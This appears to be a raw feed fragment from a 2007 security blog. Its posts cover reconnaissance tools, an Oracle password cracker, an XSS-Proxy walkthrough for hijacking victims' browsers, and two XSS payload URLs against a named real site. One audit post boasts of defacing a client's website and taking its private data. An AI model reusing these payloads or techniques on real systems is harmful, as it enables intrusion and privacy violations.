src="http://bp2.blogger.com/_Zx8XWzC_KPQ/RyXwtoEF9bI/AAAAAAAAAeY/zPhSNrXpjr8/s400/ls3.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126768417470543282" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXw1IEF9cI/AAAAAAAAAeg/gw9UPByzq_Y/s1600-h/ls4.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXw1IEF9cI/AAAAAAAAAeg/gw9UPByzq_Y/s400/ls4.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126768546319562178" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/RyXxAYEF9dI/AAAAAAAAAeo/t6bsMLSjDTY/s1600-h/ls5.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/RyXxAYEF9dI/AAAAAAAAAeo/t6bsMLSjDTY/s400/ls5.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126768739593090514" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXxRIEF9eI/AAAAAAAAAew/592w7ZXaqXE/s1600-h/ls6.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXxRIEF9eI/AAAAAAAAAew/592w7ZXaqXE/s400/ls6.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126769027355899362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXxaIEF9fI/AAAAAAAAAe4/7vcTbOdjJLk/s1600-h/ls7.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RyXxaIEF9fI/AAAAAAAAAe4/7vcTbOdjJLk/s400/ls7.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126769181974722034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;*****************************END*****************************************************&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-435414991779869490?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/435414991779869490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=435414991779869490' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/435414991779869490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/435414991779869490'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/attack-vectors.html' title='Injection Vectors, Are you up for it?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_Zx8XWzC_KPQ/RyXwYoEF9ZI/AAAAAAAAAeI/yio2FgCWaBw/s72-c/ls1.JPG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1223679743340441149</id><published>2007-10-28T01:16:00.000+08:00</published><updated>2007-10-28T01:33:17.752+08:00</updated><title type='text'>An Important Lesson, Passive Enumeration with Paterva</title><content type='html'>I am about to assigned to a very exciting project and one of the most important elements of hacking is passive enumeration. I mean to bring down an organization or their networks, passive enumeration is definitely a must! This weekend i was scouring around for effective tools that would allow me to perform my search much faster and in a more logical and graphical manner and i happen to stumble on a site called Paterva. This is a wonderful toy for passive enumeration. You can basically search for a person, DNSName, Website, Email, etc and it will return you with results of what a person had visited, the sites he visted, the words he used, etc. Of course instead of searching for a person, you can also perform searches for organization. I know people are going to say that this can also be done in google dorking. Well, thats absolutely true, google dorking is so much powerful with more explosive results. However, not everyone is an expert in that area and i mean this is only the surface of passive enumeration. To excel deeper, you would of course require certain skills like google dorking to do so. I am pretty much happy with Paterva because of its simplicity and the ability to produce results in a more systematic manner. Try it for yourself.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://maltego1.paterva.com/maltego-classic.html"&gt;http://maltego1.paterva.com/maltego-classic.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.paterva.com/web/Maltego"&gt;http://www.paterva.com/web/Maltego&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.paterva.com/web/Maltego"&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RyN2HYEF9YI/AAAAAAAAAeA/CCbCZrtLvHo/s1600-h/paterva.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RyN2HYEF9YI/AAAAAAAAAeA/CCbCZrtLvHo/s400/paterva.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126070669968536962" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1223679743340441149?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1223679743340441149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1223679743340441149' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1223679743340441149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1223679743340441149'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/important-lesson-passive-enumeration.html' title='An Important Lesson, Passive Enumeration with Paterva'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_Zx8XWzC_KPQ/RyN2HYEF9YI/AAAAAAAAAeA/CCbCZrtLvHo/s72-c/paterva.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6932673605363674734</id><published>2007-10-26T12:14:00.001+08:00</published><updated>2007-10-26T12:28:12.898+08:00</updated><title type='text'>Citrix Hacking</title><content type='html'>Few weeks ago, pdp released an article about citrix hacking and it actually caught my attention. I read through a total of 4 pdp's posts and also wirepair's whitepaper on hackingcitrix. It was overall a basic yet interesting article and actually gave me an idea on how to start enumeration and hacking citrix. Well, for my next trick when i am about to audit citrix soon, i will start employing the techniques that was discussed in the article and also include one of my favourite tricks of all time that would actually find flaws in the Citrix application. This would actually test how robust is the citrix application and how can it handle certain payloads. Since Citrix is not taking security seriously according to wirepair's article, i would not hestitate to publish any flaws i find. With that being said, of course i would give them a chance to see how is their response.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6932673605363674734?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6932673605363674734/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6932673605363674734' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6932673605363674734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6932673605363674734'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/citrix-hacking.html' title='Citrix Hacking'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1834709998364258344</id><published>2007-10-25T12:01:00.000+08:00</published><updated>2007-10-25T12:14:59.562+08:00</updated><title type='text'>Checkpwd 2.00 A12 released</title><content type='html'>Alexander Kornbrust of red database security just released the much anticipated checkpwd oracle cracking tool. This release has much improvement over the previous releases. Some of those include:&lt;br /&gt;&lt;br /&gt;* support for Oracle 11g passwords&lt;br /&gt;* support for APEX passwords (1.4-3.0.1)&lt;br /&gt;* collect passwords from the database&lt;br /&gt;* collect password candidates from the database&lt;br /&gt;* option not to display the oracle password in command line&lt;br /&gt;* crack passwords from the password history&lt;br /&gt;* crack role passwords&lt;br /&gt;* save checkpwd default configuration in a configuration file&lt;br /&gt;* read username and password hashes from a file&lt;br /&gt;&lt;br /&gt;Well, personally i had tried the version 1.21 months ago and it wasn't bad after all. And now comes version 2? You bet, it will be so much interesting to test out the new features and see how the tool produce the results. Weeks ago, THC, a german underground hacking community released oracle 11g password cracker and i must admit that i haven't tried it yet, but now Alex had incorporated checkpwd 2.00 with oracle database 11g password cracking abilities.&lt;br /&gt;&lt;br /&gt;For those who don't know, Alex is a world renowned oracle security expert. He is constantly reporting oracle bugs to Oracle and had published a lot of whitepapers and giving talks at conferences regarding oracle security. I had met him once in Dubai and i must say he is a humble and patient person with amazing oracle security knowledge. To find out more, check him out at the following links&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.red-database-security.com"&gt;http://www.red-database-security.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.red-database-security.com"&gt;http://blog.red-database-security.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1834709998364258344?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1834709998364258344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1834709998364258344' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1834709998364258344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1834709998364258344'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/checkpwd-200-a12-released.html' title='Checkpwd 2.00 A12 released'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6821468743689708779</id><published>2007-10-21T21:26:00.000+08:00</published><updated>2007-10-22T17:50:23.977+08:00</updated><title type='text'>Results from Hacking a huge organization</title><content type='html'>The other night i was auditing one of the customers here in Singapore. It was a huge organization with massive workforce and manpower. Normally huge organization tend to give people an impression that they must be secure because either they have enough internal people to do the patching or they must be doing some kind of upgrading work every now and then to have their servers or networks compliance with the government authority.&lt;br /&gt;&lt;br /&gt;The results from my audit depicted that life isn't a bed of roses. Multiple servers suffers from DoS, buffer overflows and one of them even allows me to escalate to admin priveleges. Well, the results were really astonishing from such a reputable organization and everything was under my control. Of course, i managed to capture all screenshots of what i did and wrote a report to the management. I am wondering what they will do about it. They could either pray hard that no one attack them and start patching or expect for the worst where they could be brought down anytime anyday. &lt;br /&gt;&lt;br /&gt;One of the coolest thing i did during the audit was defacement of their website. Personally, i had never deface a website before till that day. It was great seeing big organization websites having your own selected message or picture, definitely tarnishing their reputation and the feeling was just too estatic. Of course, i had to wrap it up fast by taking a screenshot of it and resume their site back to normal or i will be screwed. The one last thing i observed and found out was they were using a very old Operating System where most of their crucial data was residing. It was exhilarating as i was poking my way to grab all their private data. All in all, it was just bad, really bad. I am about to finish the report and i send it to the customer. I just want to see what is the response going to be.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6821468743689708779?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6821468743689708779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6821468743689708779' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6821468743689708779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6821468743689708779'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/results-from-hacking-huge-organization.html' title='Results from Hacking a huge organization'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3624225922738251081</id><published>2007-10-20T00:07:00.000+08:00</published><updated>2007-10-20T00:19:27.869+08:00</updated><title type='text'>Short update on audit</title><content type='html'>For those of you guys who are waiting for the result of the audit, because of the things i found and the sheer volume of report writing i am doing, i will only update the findings next week when i finish the report. Sorry for the wait, but thanks for the understanding.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3624225922738251081?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3624225922738251081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3624225922738251081' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3624225922738251081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3624225922738251081'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/short-update-on-audit.html' title='Short update on audit'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6195327413776367109</id><published>2007-10-18T22:37:00.000+08:00</published><updated>2007-10-22T17:48:11.340+08:00</updated><title type='text'>e... singapore, re-evaluate your website!</title><content type='html'>Well, i am roughly around 10 mins before i start audit, but anyway, i would love to talk about e... singapore. Heard quite a few bad things about e... singapore and i remembered while i was at Dubai, i was asking them for a job, but in the end, they void my application. Back in Singapore, my colleagues were just talking about security companies in Singapore and they mentioned e.... I have no grudges against e..., but frankly speaking, as a MSS and now trying to expand their business into the IS field, i am issuing a challenge against them. By just browsing their websites, i am pretty sure that they can be Own3d! From my guess, they could be easily using IIS 5 or 6 and for this i can be sure by just testing one of their functions, without scanning their website. As for owning them, i pretty sure they tightened up most of the holes, &lt;strong&gt;EXCEPT&lt;/strong&gt; for one. All in all, if they want to step into the the IS field, the first step would be to tighten their own holes first, or else how could they convince people that they are doing IS when they own site is at risk????? e..., get your internal auditors to re-evaluate the e... website or get me at &lt;strong&gt;NO&lt;/strong&gt; cost to help you do the job. &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6195327413776367109?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6195327413776367109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6195327413776367109' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6195327413776367109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6195327413776367109'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/e-cop-singapore-re-evaluate-your.html' title='e... singapore, re-evaluate your website!'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2882834898183128099</id><published>2007-10-18T19:05:00.000+08:00</published><updated>2007-10-18T21:58:01.127+08:00</updated><title type='text'>ScanAlert, Hacker Safe?</title><content type='html'>&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RxdmPpewLkI/AAAAAAAAAd4/axbyWYack2Y/s1600-h/fucked.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RxdmPpewLkI/AAAAAAAAAd4/axbyWYack2Y/s400/fucked.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5122675520176139842" /&gt;&lt;/a&gt;&lt;br /&gt;Yesterday, i heard from my colleagues that we would be joining forces with ScanAlert and i was really puzzled with the move. I was asking myself that if ScanAlert is really Hacker Safe? Are they really that good with their scanners? Did they use open source scanners and customized it to their own? Are those clients they have really safe from hackers? Can i say that if i use ScanAlert service to scan my website or network, i will be safe from hackers? There are a lot of questions in my head and i think ScanAlert has a good way of doing marketing. They make every customer insert their logo onto their own site which provide more visibility of ScanAlert's Service. Well, it is a good from a company point of view because they are recognized and make money out of it, however, that doesnt mean that by using their service, i will be free from attackers. Not long ago, i remember members of sla.ckers.org posted XSS vulnerabilities on their site. So can i say that if i can find XSS on their site, their scanners are shitty and they are still hackers safe? I don't know, just my 2 cents worth. Anyway, i managed to digg out the XSS vector that was injected at their site sometime ago, however, they already patched it.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.scanalert.com/SignUp.sa?act=step1&amp;oc=%27%29return+0%3B%7Dalert%280%29%3Bfunction+blah%28%29%7Bif+%280%29%7B%2F%2F"&gt;https://www.scanalert.com/SignUp.sa?act=step1&amp;oc=%27%29return+0%3B%7Dalert%280%29%3Bfunction+blah%28%29%7Bif+%280%29%7B%2F%2F&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.scanalert.com/SignUp.sa?adds106=2&amp;act=step3&amp;company.name=touchme%22%20onmouseover=%22alert('Hacker%20Safe?');%22"&gt;https://www.scanalert.com/SignUp.sa?adds106=2&amp;act=step3&amp;company.name=touchme%22%20onmouseover=%22alert('Hacker%20Safe?');%22 &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2882834898183128099?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2882834898183128099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2882834898183128099' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2882834898183128099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2882834898183128099'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/scanalert-hacker-safe.html' title='ScanAlert, Hacker Safe?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_Zx8XWzC_KPQ/RxdmPpewLkI/AAAAAAAAAd4/axbyWYack2Y/s72-c/fucked.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-9220584333982370200</id><published>2007-10-12T10:34:00.000+08:00</published><updated>2007-10-12T11:12:26.725+08:00</updated><title type='text'>XSS-Proxy PoC</title><content type='html'>The other day, i was thinking about how can i actually get more sales during a meeting session with customers and with the current bloom of hacking websites, i thought its time to actually show customers of what i can do and the impact of a XSS vulnerability. I referred to the book "XSS Exploit and Defence" by Jeremiah and Rsnake and i decided to go with a tool called the XSS-Proxy. All i can say is this tool is really light and easy to use. All you need is just perl and a webserver to be running on your machine and one would have to just launch the listener from there on with the command "perl XSS-Proxy-shmoo_0_0_11" in the command prompt. Anton Rager actually spend some time with me explaining to me how this tool works and the impact of an XSS. I would like to thank him here for his time and effort. If those of you guys who would love to try this tool, download it at &lt;a href="http://xss-proxy.sourceforge.net"&gt;http://xss-proxy.sourceforge.net&lt;/a&gt;. There is also Advanced XSS attacks and a mini whitepaper for further knowledge reading.&lt;br /&gt;&lt;br /&gt;First to startup xss-proxy:&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7f_JewLeI/AAAAAAAAAdI/uh0DYl4gUqI/s1600-h/startup+xss-proxy.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7f_JewLeI/AAAAAAAAAdI/uh0DYl4gUqI/s400/startup+xss-proxy.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5120276102336490978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then inject a script tag into the victim page, be it persistent or reflected, try it to realised it.&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/Rw7gh5ewLfI/AAAAAAAAAdQ/PhHIqRTu3Co/s1600-h/injection+point.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/Rw7gh5ewLfI/AAAAAAAAAdQ/PhHIqRTu3Co/s400/injection+point.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5120276699336945138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The admin page contains the links that the victim had visited, and by clicking those links, you can choose to redirect and hijack the victim browser under the same document domain&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7jUJewLgI/AAAAAAAAAdY/Jno_sU57ia0/s1600-h/admin+page.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7jUJewLgI/AAAAAAAAAdY/Jno_sU57ia0/s400/admin+page.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5120279761648627202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A sample of the redirect attack. Observe the below grey bar with "Opening page.."&lt;br /&gt;This is achieved through by clicking on the admin page on one of the links the victim had visited and i wanted the victim to visit another page, so i choose the link i wanted the victim to visit and click on it. On the victim side, he will automatically be redirected to the page i chosed.&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7kWJewLhI/AAAAAAAAAdg/vQbgcVk5kds/s1600-h/redirect.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7kWJewLhI/AAAAAAAAAdg/vQbgcVk5kds/s400/redirect.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5120280895519993362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And finally, i can even proxy javascript injection on the victim browser. A simple one would be alert('XSS');&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rw7l_pewLjI/AAAAAAAAAdw/y4-NmuemPXk/s1600-h/xss.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rw7l_pewLjI/AAAAAAAAAdw/y4-NmuemPXk/s400/xss.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5120282707996192306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-9220584333982370200?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/9220584333982370200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=9220584333982370200' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9220584333982370200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/9220584333982370200'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/xss-proxy-poc.html' title='XSS-Proxy PoC'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/Rw7f_JewLeI/AAAAAAAAAdI/uh0DYl4gUqI/s72-c/startup+xss-proxy.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-8892382090546248158</id><published>2007-10-10T02:16:00.000+08:00</published><updated>2007-10-10T02:34:52.569+08:00</updated><title type='text'>AppCodeScan beta Released</title><content type='html'>Few minutes ago, Shreeraj just updated me with the release of a new tool from Blueinfy. This tool basically check your source code for potential entry points for xss, sql injection, poor validation etc. Well, personally i had not tested the tool due to time constraints and my busy schedule. I would strongly recommend anyone who has the time to actually download the tool and give it a try and its free anyway. The tool is called AppCodeScan and for those who had already tried the tool, feel free to let me know as trust me, i am really eager to try on this. Also, check out Fortify's source code scanning tool which has similar functions and usage. The only difference is maybe the support and its an enterprise tool. At the same time, do check out their cost and you know why Shreeraj is so generous to make it free. Of course, you can customize the ruleset to suit your application if you know how to. Thank you Shreeraj.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blueinfy.com/tools.html"&gt;http://blueinfy.com/tools.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-8892382090546248158?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/8892382090546248158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=8892382090546248158' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8892382090546248158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/8892382090546248158'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/appcodescan-beta-released.html' title='AppCodeScan beta Released'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7369733849052789960</id><published>2007-10-08T17:47:00.001+08:00</published><updated>2007-10-08T17:52:21.786+08:00</updated><title type='text'>Try this at your own risk, COKE Machine hacked!!</title><content type='html'>I was checking PDP's hack on citrix and i stumble across a coke machine hack. Well, i am not sure if this is an old exploit or if it is still working as of today or it is patched. However, i could not replicate this hack on a vending machine here. Maybe it is of a different model or different system or different chipset. Whatever it is, this is a cool one. Simple yet effective.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/FqFEvYfVdVQ"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/FqFEvYfVdVQ" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The 